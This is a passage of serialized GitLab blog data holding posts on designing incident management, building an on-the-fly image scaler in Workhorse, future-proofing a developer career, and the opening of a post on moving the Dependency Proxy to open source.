.note}\n",[676,1268,1444],{"slug":20938,"featured":6,"template":678},"lessons-in-iteration-from-new-infrastructure-team","content:en-us:blog:lessons-in-iteration-from-new-infrastructure-team.yml","Lessons In Iteration From New Infrastructure Team","en-us/blog/lessons-in-iteration-from-new-infrastructure-team.yml","en-us/blog/lessons-in-iteration-from-new-infrastructure-team",{"_path":20944,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20945,"content":20951,"config":20956,"_id":20958,"_type":16,"title":20959,"_source":17,"_file":20960,"_stem":20961,"_extension":20},"/en-us/blog/designing-alerts-and-incidents",{"title":20946,"description":20947,"ogTitle":20946,"ogDescription":20947,"noIndex":6,"ogImage":20948,"ogUrl":20949,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20949,"schema":20950},"Designing an incident management workflow from scratch and where its used","See here how to create a single workflow for triaging alerts and resolving incidents using GitLab's Product Development Flow","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670750/Blog/Hero%20Images/designing-incidents-alerts.jpg","https://about.gitlab.com/blog/designing-alerts-and-incidents","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Designing an incident management workflow from scratch and where its used\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Amelia Bauerly\"}],\n        \"datePublished\": \"2020-11-03\",\n      }",{"title":20946,"description":20947,"authors":20952,"heroImage":20948,"date":20953,"body":20954,"category":18484,"tags":20955},[15725],"2020-11-03","\n{::options parse_block_html=\"true\" /}\n\n\n\nMany companies stitch together multiple tools to handle alerts and incidents, which can be time-consuming and frustrating. Why should teams have to use so many tools for what is, essentially, a single workflow?\n\nWe hear you, and we think we’ve come up with some great new features to help alleviate this problem. \n\nAt GitLab, the Monitor team has been busily working behind the scenes to improve our offerings for [Alerts](https://about.gitlab.com/releases/2020/06/22/gitlab-13-1-released/#manage-it-alerts-in-gitlab) and [Incident Management](https://about.gitlab.com/releases/2020/08/22/gitlab-13-3-released/#create-and-manage-it-incidents-in-gitlab). \n\n## What’s changed? \n\nYou can now send alerts from your monitoring tools straight to GitLab, where they will be displayed for you and your team to review. If an alert is serious enough, you can escalate that alert to an incident, a newly defined type of issue crafted specifically for this purpose. Once the incident is created, you can push the fixes immediately: all within a single tool.\n\nWe’re incredibly proud of what we’re creating but, how did we get here? How did we take what was a blank space and turn it into something that people could use? Dare I say, might even _want_ to use? \n\nThe short answer: by working through GitLab’s [Product Development Flow](https://about.gitlab.com/handbook/product-development-flow/), by leaning on our value of [iteration](https://handbook.gitlab.com/handbook/values/#iteration), and collaborating closely with the people who use GitLab every day.\n\n## Validating the problem\n\nThe first thing we needed to do was to ensure we understood what people were struggling with, in their current workflow, with their current tools. We call this [Problem Validation](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-2-problem-validation), and it means asking the following question before getting started with any work: Do we clearly understand the problem(s) end-users have?\n\nAs part of the problem validation process, we reached out to Developers, SREs, and [DevOps](/topics/devops/) engineers. We wanted to better understand what tools they were using, what their current workflows were, and if there were any gaps in their workflows that we could fill within GitLab.\n\nThrough our research, we discovered something that was both a serious pain point  _and_  an opportunity for us at GitLab. Unsurprisingly, it turns out that many Developers are currently stitching together a multitude of tools for monitoring their applications, for creating and sending alerts, and for investigating and resolving the issues that are reported. \n\nStitching together all of these tools can work, but it’s messy for teams to manage. The context switching that’s required is difficult, and it means having to keep track of different pieces of information in multiple places. We heard, again and again, how burdensome and fatiguing this can be. What people need, instead, is an intentionally designed workflow for triaging alerts and responding to incidents. \n\nLuckily for us, GitLab already had many pieces of this workflow in place, in that Developers can currently raise issues, create merge requests, and deploy their code within our product. The opportunity, and what we were missing, was a place to review and triage alerts. \n\nIf we could introduce a single location where all alerts (from multiple tools) can be received, reviewed, resolved, or escalated into incidents, we could create a seamless incident management workflow within GitLab: from the alert being received to the incident being created, all the way through to the code fix being deployed.\n\n## Validating the solution\n\nWith the desired workflow pinned down, we started ideating on designs for triaging and managing alerts. After creating some initial concepts, we wanted to validate them to make sure we were actually solving the problems we had identified. \n\nFollowing our Product Development Flow for [solution validation](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-4-solution-validation), we wanted to share our designs with the teams we thought would most benefit from using the features we designed. \n\nTo enable us to more quickly connect with the people who would be using our features, we decided to create a Special Interest Group (SIG). We went this route because we wanted to work more collaboratively with a well-defined group of people over a period of time. We felt that this could help us to understand their needs better, and it would mean we could check in with them more often, and on a more regular basis. \n\nThe SIG is composed of GitLab customers who are involved with responding to alerts and incidents within their organizations. To recruit this group, we sent out a survey to our [First Look](https://about.gitlab.com/community/gitlab-first-look/) members. When we had a short list of people who fit our criteria, we scheduled introductory meetings to learn more about them, find out how they worked, and explain a bit more about the SIG. After ensuring they were on board with our experiment, we invited them to join our SIG.\n\nAs we generated designs – first for an alert list, then for an alert detail page – we shared these designs with the SIG members during live, individual feedback sessions. During these sessions, we asked them to take a short usability test where we gave them an imagined scenario and asked them to complete a task. We also asked them for their feedback more generally, to understand if what we were proposing would help improve their current workflow. \n\nWe met with the SIG monthly over a period of several months. Each time they reviewed our designs, we revised them. The feature set we ultimately arrived at owes a great deal to their feedback and their commitment to improving GitLab as a product. \n\n![Alert list in GitLab](https://about.gitlab.com/images/blogimages/Alert-list-page.png){: .shadow.medium.center}\n\nAlert list in GitLab\n{: .note.text-center}\n\nAfter validating our proposals with the SIG members we broke our designs down into what we call a [Minimal Viable Change](https://about.gitlab.com/handbook/product/product-principles/#the-minimal-viable-change-mvc) (MVC) that, over the course of several months, our engineering team built into GitLab: starting with the alert list, and then adding in the alert detail page. Additional functionality, such as the ability to change the status of an alert from within GitLab, was built on top of those two base elements.\n\n## Introducing dedicated incidents\n\nMany alerts that are sent are not necessarily things that teams need to worry about. Maybe they are expected issues, or maybe they aren't things that need to be immediately addressed. But, what happens when an alert is serious enough to require additional investigation? What happens when the alert needs to become an incident?\n\nFor the [MVC](https://about.gitlab.com/handbook/product/ux/product-designer/#refine-mvc) version of alert management, alerts would be received and, if they were serious enough, the alert could be escalated to a GitLab issue. \n\nWe used our existing issue framework for incidents because it was an easy way for us to complete the larger workflow. From a GitLab issue, people can create an MR to fix whatever is causing the alert in the first place. Then they can push the code that will publish the fix. So, by using issues, we were able to approximate a full incident management workflow: from alert receipt to live code.\n\nHowever, in testing the alerting functionality we had built with our SIG, we learned that there were still many gaps in the experience of investigating and resolving incidents that issues couldn’t really help us fix. \n\nFor example, within incidents, you likely need quick access to various metrics or runbooks. Maybe you also need an incident timeline. There are hacky ways of making GitLab issues work for these purposes, but we wondered, \"Is there a way that we can better surface the information needed for quickly resolving incidents within issues?\"\n\nThese sorts of discussions ultimately resulted in us introducing dedicated incidents in GitLab. Incidents are a special kind of issue where the content displayed is updated to better fit the needs of people actively involved in investigating and resolving incidents. \n\nIn designing incidents, we removed items from our existing issues that were less relevant, replacing them with content that better fits the incident workflow. In both cases, we used feedback from customers to make decisions about what to include – and what to exclude. Our goal was to make sure that only the most relevant information is visible, so that incidents can be resolved as quickly and efficiently as possible.\n\n![An example dedicated incident in GitLab](https://about.gitlab.com/images/blogimages/dedicated-incident.png){: .shadow.medium.center}\n\nAn example dedicated incident in GitLab\n{: .note.text-center}\n\nCreating a dedicated type of issue for incidents hasn’t been a quick process! By relying on our iteration value, we’ve been slowly transforming the GitLab issue into an incident over the course of many months. Now, incidents are finally taking shape, and we are at the point where people have started using them as part of their workflows. **We’ve seen an increase in usage of 4,200%!**\n\nThis is a huge step for incident management at GitLab, and we’re delighted to see how people will use incidents at their organizations.\n\n## Up next: On-call Management\n\nThe final piece of incident management is on-call management: How does your team know that incidents are happening and need to be addressed? \n\nTo tackle this next batch of work, we’re going back to our Product Development Flow’s [Problem Validation](https://about.gitlab.com/handbook/product-development-flow/#validation-phase-2-problem-validation) step. We’re talking to people to ensure we understand their needs. Then we’ll start to think about designs for on-call schedules, escalation policies, and paging. We intend to build and release these features early next year. \n\nOnce these features are introduced, we will have enabled the end-to-end workflow for [incident management within GitLab](https://about.gitlab.com/direction/service_management/incident_management/), from triggered alerts through post-incident review. After that point, we’ll investigate how people are experiencing the features we’ve built and how we can further improve them. \n\nWe look forward to hearing your feedback, so we can continue to make incident management in GitLab even better. What do you want to see us build next? Leave a comment on the [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/271410) if you have any suggestions. Additionally, if you'd like to participate in our customer feedback sessions, consider joining our [First Look](https://about.gitlab.com/community/gitlab-first-look/) panel. We'd love for you to join us!\n\nCover image credit:\n\nCover image by [Kelly Sikkema](https://unsplash.com/@kellysikkema?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText) on [Unsplash](https://unsplash.com)\n",[2249,2248,676],{"slug":20957,"featured":6,"template":678},"designing-alerts-and-incidents","content:en-us:blog:designing-alerts-and-incidents.yml","Designing Alerts And Incidents","en-us/blog/designing-alerts-and-incidents.yml","en-us/blog/designing-alerts-and-incidents",{"_path":20963,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20964,"content":20969,"config":20974,"_id":20976,"_type":16,"title":20977,"_source":17,"_file":20978,"_stem":20979,"_extension":20},"/en-us/blog/scaling-down-how-we-prototyped-an-image-scaler-at-gitlab",{"title":20965,"description":20966,"ogTitle":20965,"ogDescription":20966,"noIndex":6,"ogImage":18477,"ogUrl":20967,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20967,"schema":20968},"Scaling down: How we shrank image transfers by 93%","Our approach to delivering an image scaling solution to speed up GitLab site rendering","https://about.gitlab.com/blog/scaling-down-how-we-prototyped-an-image-scaler-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Scaling down: How we shrank image transfers by 93%\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matthias Käppler\"}],\n        \"datePublished\": \"2020-11-02\",\n      }",{"title":20965,"description":20966,"authors":20970,"heroImage":18477,"date":20971,"body":20972,"category":18484,"tags":20973},[18798],"2020-11-02","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nThe [Memory](https://about.gitlab.com/handbook/engineering/development/enablement/data_stores/application_performance/) team recently shipped an improvement to our image delivery functions\nthat drastically reduces the amount of data we serve to clients. Learn here how we went from knowing nothing about\n[Golang](https://golang.org/) and image scaling to a working on-the-fly image scaling solution built into \n[Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse).\n\n## Introduction\n\nImages are an integral part of GitLab. Whether it is user and project avatars, or images embedded in issues\nand comments, you will rarely load a GitLab page that does not include images in some way shape or form.\nWhat you may not be aware of is that despite most of these images appearing fairly small when presented\non the site, until recently we were always serving them in their original size.\nThis meant that if you would visit a merge request, then all user avatars that appeared merely as thumbnails\nin sidebars or comments would be delivered by the GitLab application in the same size they were uploaded in,\nleaving it to the browser rendering engine to scale them down as necessary. This meant serving\nmegabytes of image data in a single page load, just so the frontend would throw most of it away!\n\nWhile this approach was simple and served us well for a while, it had several major drawbacks:\n\n- **Perceived latency suffers.** The perceived latency is the time that passes between a user\n  requesting content, and that content actually becoming visible or being ready to engage with.\n  If the browser has to download several megabytes of image data, and then has to furthermore\n  scale down those images to fit the cells they are rendered into, the user experience unnecessarily suffers.\n- **Egress traffic cost.** On gitlab.com, we store all images in object storage, specifically GCS\n  (Google Cloud Storage). This means that our Rails app first needs to resolve an image entity to\n  a GCS bucket URL where the binary data resides, and have the client\n  download the image through that endpoint. This means that for every image served, we cause\n  traffic from GCS to the user that we have to pay for, and the more data we serve, the higher the cost.\n\nWe therefore took on the challenge to both improve rendering performance and reduce traffic costs\nby implementing [an image scaler that would downscale images](https://gitlab.com/groups/gitlab-org/-/epics/3822)\nto a requested size before delivering them to the client.\n\n### Phase 1: Understanding the problem\n\nThe first problem is always: understand the problem! What is the status quo exactly? How does it work?\nWhat is broken about it? What should we focus on?\n\nWe had a pretty good idea of the severity of the problem, since we regularly run performance tests\nthrough [sitespeed.io](https://www.sitepeed.io) that highlight performance problems on our site.\nIt had identified images sizes as one of the most severe issues:\n\n![sitespeed performance test](https://gitlab.com/groups/gitlab-org/-/uploads/a06d8bfde802995c577afca843be7e96/Bildschirmfoto_2020-07-15_um_11.45.44.png)\n\nTo better inform a possible solution, an essential step was to [collect enough data](https://gitlab.com/gitlab-org/gitlab/-/issues/227387)\nto help identify the areas we should focus on. Here are some of the highlights:\n\n- **Most images requested are avatars.** We looked at the distribution of requests for certain types of images.\n  We found that about 70% of them were for avatars, while the remaining 30% accounted for embedded images.\n  This suggested that any solution would have the biggest reach if we focused on avatars first. Within the\n  avatar cohort we found that about 62% are user avatars, 22% are project avatars, and 16% are group avatars,\n  which isn't surprising. \n- **Most avatars requested are PNGs or JPEGs.** We also looked at the distribution of image formats. This is partially\n  affected by our upload pipeline and how images are processed (for instance, we always crop user avatars and store them as PNGs)\n  but we were still surprised to see that both formats made up 99% of our avatars (PNGs 76%, JPEGs 23%). Not much\n  love for GIFs here!\n- **We serve 6GB of avatars in a typical hour.** Looking at a representative window of 1 hour of GitLab traffic, we saw\n  almost 6GB of data move over the wire, or 144GB a day. Based on experiments with downscaling a representative user avatar,\n  we estimated that we could reduce this to a mere 13GB a day on average, saving 130GB of bandwidth each day!\n\nThis was proof enough for us that there were significant gains to be made here. Our first intuition was: could this\nbe done by a CDN? Some modern CDNs like Cloudflare [already support image resizing](https://support.cloudflare.com/hc/en-us/articles/360028146432-Understanding-Cloudflare-Image-Resizing)\nin some of their plans. However, we had two major concerns about this:\n\n1. **Supporting our self-managed customers.** While gitlab.com is the largest GitLab deployment we know of, we have hundreds of thousands\n  of customers who run their own GitLab installation. If we were to only resize images that pass through a CDN in front of gitlab.com,\n  none of those customers would benefit from it.\n1. **Pricing woes.** While there are request budgets based on your CDN plan, we were worried about the operational cost this would\n  add for us and how to reliably predict it.\n\nWe therefore decided to look for a solution that would work for all GitLab users, and that would be more under\nour own control, which led us to phase 2: experimentation!\n\n### Phase 2: Experiments, experiments, experiments!\n\nA frequent challenge for [our team (Memory)](https://about.gitlab.com/handbook/engineering/development/enablement/data_stores/application_performance/)\nis that we need to venture into parts of GitLab's code base\nthat we are unfamiliar with, be it with the technology, the product area, or both. This was true in this\ncase as well. While some of us had some exposure to image scaling services, none of us had ever built or\nintegrated one.\n\nOur main goal in phase 2 was therefore to identify what the possible approaches to image scaling were,\nexplore them by researching existing solutions or even building proof-of-concepts (POCs), and grade\nthem based on our findings. The questions we asked ourselves along the way were:\n\n- **When should we scale?** Upfront during upload or on-the-fly when an image is requested?\n- **Who does the work?** Will it be a dedicated service? Can it happen asynchronously in Sidekiq?\n- **How complex is it?** Whether it's an existing service we integrate, or something we build ourselves,\n  does implementation or integration complexity justify its relatively simple function?\n- **How fast is it?** We shouldn't forget that we set out to solve a performance issue. Are we sure that\n  we are not making the server slower by the same amount of time we save in the client?\n\nWith this in mind, we identifed [multiple architectural approaches](https://gitlab.com/groups/gitlab-org/-/epics/3979) to consider,\neach with their own pros and cons. These issues also doubled as a form of [architectural decision log](https://github.com/joelparkerhenderson/architecture_decision_record#what-is-an-architecture-decision-record)\nso that decisions for or against an approach are recorded.\n\nThe major approaches we considered are outlined next.\n\n#### Static vs. dynamic scaling\n\nThere are two basic ways in which an image scaler can operate: it can either create thumbnails of\nan existing image ahead of time, e.g. during the original upload as a background job. Or it can\nperform that work on demand, every time an image is requested. To make a long story short: while\nit took a lot of back and forth, and even though we had [a working POC](https://gitlab.com/gitlab-org/gitlab/-/issues/232616),\nwe eventually discarded the idea of scaling statically, at\nleast for avatars. Even though [CarrierWave](https://github.com/carrierwaveuploader/carrierwave) (the Ruby uploader\nwe employ) has an integration\nwith MiniMagick and is able to perform that kind of work, it suffered from several issues:\n\n1. **Maintenance heavy.** Since image sizes may change over time, a strategy is needed to backfill sizes\n  that haven't been computed yet. This raised questions especially for self-managed customers where\n  we do not control the GitLab installation.\n1. **Statefulness.** Since thumbnails are created alongside the original image, it was unclear how to perform\n  cleanups should they become necessary, since CarrierWave does not store these as separate database\n  entities that we could easily query.\n1. **Complexity.** The POC we created turned out to be more complex than anticipated and felt like we\n  were shoehorning this feature onto existing code. This was exacerbated by the fact that at the time\n  we were running a very old version of CarrierWave that was already a maintenance liability, and upgrading it\n  would have added scope creep and delays to an already complex issue.\n1. **Flexibility.** The actual scaler implementation in CarrierWave is buried three layers down the Ruby dependency stack,\n  and it was difficult to replace the actual scaler binary (which would become a\n  problem when trying to secure this solution as we will see in a moment.)\n\nFor these reasons we decided to scale images on-the-fly instead.\n\n### Dynamic scaling: Workhorse vs. dedicated proxy\n\nWhen scaling images on-the-fly the question becomes: where? Early on there was a suggestion to use\n[imgproxy](https://github.com/imgproxy/imgproxy), a \"fast and secure standalone server for resizing and converting remote images\".\nThis sounded tempting, since it is a \"batteries included\" offering, it's free to use, and it is a great\nway to isolate the task of image scaling from other production work loads, which has benefits around\nsecurity and fault isolation.\n\nThe main problem with imgproxy was exactly that, however: a standalone server. \n[Introducing a new service to GitLab](https://docs.gitlab.com/ee/development/adding_service_component.html#adding-a-new-service-component-to-gitlab)\nis a complex task, since we strive to appear as a [single application](https://about.gitlab.com/handbook/product/single-application/) to the end user,\nand documenting, packaging, configuring, running and monitoring a new service just for rescaling images seemed excessive.\nIt therefore wasn't in line with our prerogative of focusing on the\n[minimum viable change](https://about.gitlab.com/handbook/product/product-principles/#the-minimal-viable-change-mvc).\nMoreover, imgproxy had significant overlap with existing architectural components at GitLab, since we already\nrun a reverse proxy: [Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse).\n\nWe therefore decided that the fastest way to deliver an MVC was to build out this functionality in Workhorse\nitself. Fortunately we found that we already had an established pattern for dealing with special, performance\nsensitive workloads, which meant that we could\nlearn from existing solutions for similar problems (such as image delivery from remote storage), and we could\nlean on its existing integration with the Rails application for request authentication and running business\nlogic such as validating user inputs, which helped us tremendously to focus on the actual problem: scaling images.\n\nThere was a final decision to make, however: scaling images is a very different kind of workload from \nserving ordinary requests, so an open question was how to integrate a scaler into Workhorse in a way\nthat would not have knock-on effects on other tasks Workhorse processes need to execute.\nThe two competing approaches discussed were to either shell out to an executable that performs the scaling,\nor run a [sidecar process](https://docs.microsoft.com/en-us/azure/architecture/patterns/sidecar#:~:text=Sidecars%20are%20supporting%20processes%20or,fate%20of%20its%20parent%20application.)\nthat would take over image scaling work loads from the main Workhorse process.\n\n### Dynamic scaling: Sidecar vs. fork-on-request\n\nThe main benefit of a sidecar process is that it has its own life-cycle and memory space, so it can be tuned\nseparately from the main serving process, which improves fault isolation. Moreover, you only pay the\ncost for starting the process once. However, it also comes with\nadditional overhead: if the sidecar dies, something has to restart it, so we would have to look at\nprocess supervisors such as `runit` to do this for us, which again comes with a significant amount\nof configuration overhead. Since at this point we weren't even sure how costly it would be to serve\nimage scaling requests, we let our MVC principle guide us and decided to first explore the simpler\nfork-on-request approach, which meant shelling out to a dedicated scaler binary on each image scaling\nrequest, and only consider a sidecar as a possible future iteration.\n\nForking on request was [explored as a POC](https://gitlab.com/gitlab-org/gitlab/-/issues/230519)\nfirst, and was quickly made production ready and deployed\nbehind a feature toggle. We initially ended up settling on [GraphicsMagick](http://www.graphicsmagick.org/)\nand its `gm` binary to perform the actual image scaling for us, both because it is a battle tested library, but also\nbecause there was precedent at GitLab to use it for existing features, which allowed us to ship\na solution even faster.\n\nThe overall request flow finally looked as follows:\n\n```mermaid\nsequenceDiagram\n    Client->>+Workhorse: GET /image?width=64\n    Workhorse->>+Rails: forward request\n    Rails->>+Rails: validate request\n    Rails->>+Rails: resolve image location\n    Rails-->>-Workhorse: Gitlab-Workhorse-Send-Data: send-scaled-image\n    Workhorse->>+Workhorse: invoke image scaler\n    Workhorse-->>-Client: 200 OK\n```\n\nThe \"secret sauce\" here is the `Gitlab-Workhorse-Send-Data` header synthesized by Rails. It carries\nall necessary parameters for Workhorse to act on the image, so that we can maintain a clean separation\nbetween application logic (Rails) and serving logic (Workhorse).\nWe were fairly happy with this solution in terms of simplicity and ease of maintenance, but we\nstill had to verify whether it met our expectations for performance and security.\n\n### Phase 3: Measuring and securing the solution\n\nDuring the entire development cycle, we frequently measured the performance of the various appraoches\nwe tested, so as to understand how they would affect request latency and memory use.\nFor latency tests we relied on [Apache Bench](https://httpd.apache.org/docs/2.4/programs/ab.html), since\nrecalling our initial mission, we were mostly interested in reducing the request latency a user might experience.\n\nWe also ran benchmarks encoded as Golang tests that specifically [compared different scaler implementations](https://gitlab.com/ayufan/image-resizing-test)\nand how performance changed with different image formats and image sizes. We learned a lot from these\ntests, especially where we would typically lose the most time, which often was in encoding/decoding\nan image, and not in resizing an image per se.\n\nWe also took security very seriously from the start. Some image formats such as SVGs are notorious\nfor remote code execution attacks, but there were other concerns such as DOS-ing the service with\ntoo many scaler requests or PNG compression bombs. We therefore\nput very strict requirements in place around what sizes (both dimensionally but also in bytes) and\nformats we will accept.\n\nUnfortunately one fairly severe issue remained that turned out to be a deal breaker with our simple\nsolution: `gm` is a complex piece of software, and shelling out to a 3rd party binary written in C still\nleaves the door open for a number of security issues. The decision was to [sandbox the binary](https://gitlab.com/groups/gitlab-org/-/epics/4373)\ninstead, but this turned out\nto be a lot more difficult than anticipated. We evaluated but discarded multiple approaches to sandboxing\nsuch as via `setuid`, `chroot` and `nsjail`, as well as building a custom binary on top of [seccomp](https://en.wikipedia.org/wiki/Seccomp).\nHowever, due to performance, complexity or other concerns we discarded all of them in the end.\nWe eventually decided to sarifice some performance for the sake of protecting our users as best we can and \nwrote a scaler binary in Golang, based on an existing [imaging](https://github.com/disintegration/imaging)\nlibrary, which had none of these issues.\n\n### Results, conclusion and outlook\n\nIn roughly two months we took an innocent sounding but in fact complex topic, image scaling, and went\nfrom \"we know nothing about this\" to a fully functional solution that is now running on gitlab.com.\nWe faced many headwinds along the way, in part because we were unfamiliar with both the topic and\nthe technology behind Workhorse (Golang), but also because we underestimated the challenges of delivering\nan image scaler that will be both fast and secure, an often difficult trade-off. A major lesson learned\nfor us is that security cannot be an afterthought; it has to be part of the design from day one and\nmust be part of informing the approach taken.\n\nSo was it a success? Yes! While the feature didn't have as much of an impact on overall perceived client\nlatency as we had hoped, we still dramatically improved a number of metrics. First and foremost, the\ndreaded \"properly size image\" reminder that topped our sitepeed metrics reports is resolved. This is also evident\nin the average image size processed by clients, which for image heavy pages fell off a cliff (that's good -- lower is\nbetter here):\n\n![image size metric](https://gitlab.com/groups/gitlab-org/-/uploads/b453aedaf2132db1292898508fd6a0c1/Bildschirmfoto_2020-10-06_um_07.02.56.png)\n\nSite-wide we saw a staggering **93% reduction** in image transfer size of page content delivered to clients.\nThese gains also translate into savings for GCS egress traffic, and hence Dollar cost savings, by an equivalent amount.\n\nA feature is never done of course, and there are a number of things we are looking to improve in the future:\n\n- Improving metrics and observability\n- Improving performance through more aggressive caching\n- Adding support for WebP and other features such as image blurring\n- Supporting content images embedded into GitLab issues and comments\n\nThe Memory team meanwhile will slowly step back from this work, however, and hand it over to product teams\nas product requirements evolve.\n",[1444,942,1268],{"slug":20975,"featured":6,"template":678},"scaling-down-how-we-prototyped-an-image-scaler-at-gitlab","content:en-us:blog:scaling-down-how-we-prototyped-an-image-scaler-at-gitlab.yml","Scaling Down How We Prototyped An Image Scaler At Gitlab","en-us/blog/scaling-down-how-we-prototyped-an-image-scaler-at-gitlab.yml","en-us/blog/scaling-down-how-we-prototyped-an-image-scaler-at-gitlab",{"_path":20981,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":20982,"content":20988,"config":20993,"_id":20995,"_type":16,"title":20996,"_source":17,"_file":20997,"_stem":20998,"_extension":20},"/en-us/blog/future-proof-your-developer-career",{"title":20983,"description":20984,"ogTitle":20983,"ogDescription":20984,"noIndex":6,"ogImage":20985,"ogUrl":20986,"ogSiteName":1180,"ogType":1181,"canonicalUrls":20986,"schema":20987},"Future-proof your developer career","Roles are changing and AI is coming. We asked 14 DevOps practitioners, analysts, and GitLab execs how to future-proof your career.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679588/Blog/Hero%20Images/future-of-software-future-proof-your-career.png","https://about.gitlab.com/blog/future-proof-your-developer-career","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Future-proof your developer career\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2020-10-30\",\n      }",{"title":20983,"description":20984,"authors":20989,"heroImage":20985,"date":20990,"body":20991,"category":8943,"tags":20992},[11618],"2020-10-30","\n\n_This is the fourth and final part of our series on the future of software development. Part one examined [how the software developer role is changing](/blog/software-developer-changing-role/). Part two highlighted [“future” technologies likely to impact the way software is created](/blog/how-tomorrows-tech-affects-sw-dev/). Part three looked at [the role artificial intelligence (AI) will play in software development](/blog/ai-in-software-development/)._\n\nChanging roles, emerging technologies, and the promise (or threat) of artificial intelligence are colliding, creating a critical question for software developers: how should you future-proof your career?\n\nAnyone in the technology industry knows change is both swift and expected – remember [Moore’s Law](https://www.investopedia.com/terms/m/mooreslaw.asp)? But there’s change and then there’s a “big C” *Change* that would impact skills and potentially careers. The [World Economic Forum, writing on the Pluralsight blog](https://www.pluralsight.com/blog/career/tech-in-2025), shared a worrisome observation about the future: “Across nearly all industries, the impact of technological and other changes is shortening the shelf-life of employees’ existing skill sets... ”\n\nSo what skills will be sufficient to navigate the future? We asked 14 [DevOps](/topics/devops/) practitioners, analysts, and GitLab execs for their best advice.\n\n## Embrace the soft skills\n\nIn our 2020 [Global DevSecOps Survey](/developer-survey/), developers, security pros, ops team members, and testers were unanimous in their choice of the most important skills for the future: communication and collaboration. It’s not particularly surprising – DevOps team members are increasingly finding themselves working even more closely together and often in different or new areas of the company. Communication and collaboration in those cases can be the difference between success and failure.\n\n“You can’t have one brain that knows it all,” explains [Darwin Sanoy](/company/team/#DarwinJS), senior solutions architect, Americas, at GitLab. “You need communication and collaboration to work together.”\n\nOne way developers can fine-tune collab skills is to use their open source skills within their organizations, a practice known as “inner sourcing,” says [Jose Manrique Lopez de la Fuente](https://www.linkedin.com/in/jose-manrique-lopez-de-la-fuente-b869884/), CEO at Bitergia, and also a [GitLab Hero](/community/heroes/). “You’re not doing open source alone,” Manrique says. “There are hundreds of developers worldwide also doing it. So, with those skills I learned working with other developers, how can I be transparent with people who are not only connected to my team? How can I get more involved with what’s going on in the company?” The more developers practice this skill, the easier it will get, he predicts.\n\n## It’s not just about tech\n\nAlthough this seems counter-intuitive, future-proofing your career doesn’t necessarily mean boning up on new technologies. In [our survey](/developer-survey/), 28% of developers said [AI was an important skill to know for the future (and they’re probably not wrong)](https://www2.deloitte.com/us/en/insights/focus/signals-for-strategists/ai-assisted-software-development.html), but most experts think it’s not wise to place all your energy in just a single specialty.\n\n“It’s best if you migrate your career from specialty to specialty trying to ride the wave,” Darwin says. “Take a look at what is picking up momentum but is not bleeding edge yet.” GitLab’s director of product management, CI/CD [Jason Yavorska](/company/team/#jyavorska) suggests polishing up the basics. “You want solid tech skills like trouble-shooting, a current knowledge of modern stacks and a lot of basic things,” Jason explains. “You want to be a little bit more of a generalist than an expert in one field.”\n\nThis is definitely a time to take step back and look at the bigger picture, suggests [Philip Lamb](https://www.linkedin.com/in/philliplamb/), global partner senior solutions architect – DevOps at Red Hat. He’s also a proponent of the power of generalization. “Focus less on specific tooling, software, and instead focus more on process and establishing a clear understanding of the sea changes DevOps brings,” he says. And don't forget that DevOps is going to look different for every organization.\n\n## Choose wisely\n\nBut if there’s one thing to keep in mind, above anything else, it’s this: “Avoid what AI is going to be good at,” Jason says. Forrester Research (and many others) think AI [could be creating code in 10 years or less](/blog/ai-in-software-development/). “AI and machine learning could be the most disrupting things to come to your career,” he explains. “If you’ve built your job out of basic things you could find yourself redundant. Focus on things you (as a human) are capable of.”\n",[4103,7715,942],{"slug":20994,"featured":6,"template":678},"future-proof-your-developer-career","content:en-us:blog:future-proof-your-developer-career.yml","Future Proof Your Developer Career","en-us/blog/future-proof-your-developer-career.yml","en-us/blog/future-proof-your-developer-career",{"_path":21000,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":21001,"content":21006,"config":21010,"_id":21012,"_type":16,"title":21013,"_source":17,"_file":21014,"_stem":21015,"_extension":20},"/en-us/blog/minor-breaking-change-dependency-proxy",{"title":21002,"description":21003,"ogTitle":21002,"ogDescription":21003,"noIndex":6,"ogImage":12013,"ogUrl":21004,"ogSiteName":1180,"ogType":1181,"canonicalUrls":21004,"schema":21005},"The Dependency Proxy is moving to open source","We're moving the Dependency Proxy to Core to help address Docker Hub rate limiting issues.","https://about.gitlab.com/blog/minor-breaking-change-dependency-proxy","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Dependency Proxy is moving to open source\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2020-10-30\",\n      }",{"title":21002,"description":21003,"authors":21007,"heroImage":12013,"date":20990,"body":21008,"category":736,"tags":21009},[1125],"\n\n[Docker Hub recently announced](https://www.docker.com/blog/dockers-next-chapter-our-first-year/) and will soon [enforce rate limits on pull requests from Docker Hub](https://docs.docker.com/docker-hub/download-rate-limit). Starting Nov. 2, 2020, pull rates will be limited based on your individual IP address for anonymous users or on your [pricing tier](https://www.docker.com/pricing) if you are authenticated and signed in. \n\nWhen I first read about the change, I thought, \"We have to tell people about the Dependency Proxy,\" which is meant for proxying and caching images from Docker Hub. Unfortunately, the Dependency Proxy has several limitations that will prevent you from relying on it to solve this rate-limiting issue. However, we arrived at a key question during the evaluation process: \"**Should proxying and caching images from Docker Hub be an open source feature?**\"\n\nThe short answer is yes. At GitLab, to determine what is open source and what is not, we ask ourselves: [Who cares the most about the 